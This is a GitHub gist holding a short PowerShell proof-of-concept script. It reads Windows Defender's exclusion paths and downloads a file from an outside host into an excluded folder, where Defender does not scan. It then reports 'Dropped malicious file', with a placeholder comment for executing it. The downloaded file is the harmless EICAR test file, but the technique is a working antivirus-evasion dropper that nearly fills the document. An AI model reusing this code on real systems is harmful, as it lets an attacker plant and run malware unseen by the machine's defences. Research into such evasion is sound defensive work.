Skip to content

Instantly share code, notes, and snippets.

@packmad
Created March 24, 2020 11:23
Show Gist options
  • Save packmad/ab725f7e0d8eb00f1cf4c9e656cbf7f0 to your computer and use it in GitHub Desktop.
Save packmad/ab725f7e0d8eb00f1cf4c9e656cbf7f0 to your computer and use it in GitHub Desktop.
ExploitDefenderExclusionPOC.ps1
$ExPath = (Get-MpPreference).ExclusionPath
if ($ExPath.Length -gt 0) {
foreach ($path in $ExPath) {
try {
$url = "https://secure.eicar.org/eicar.com"
$output = Join-Path -Path $path -ChildPath "eicar.com"
Invoke-WebRequest -Uri $url -OutFile $output
Write-Host "Dropped malicious file -> '$($output)'"
# Execute $output ...
return
}
catch{}
}
Write-Host "No writeable folders in ExclusionPath"
}
else {
Write-Host "No exclusions"
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment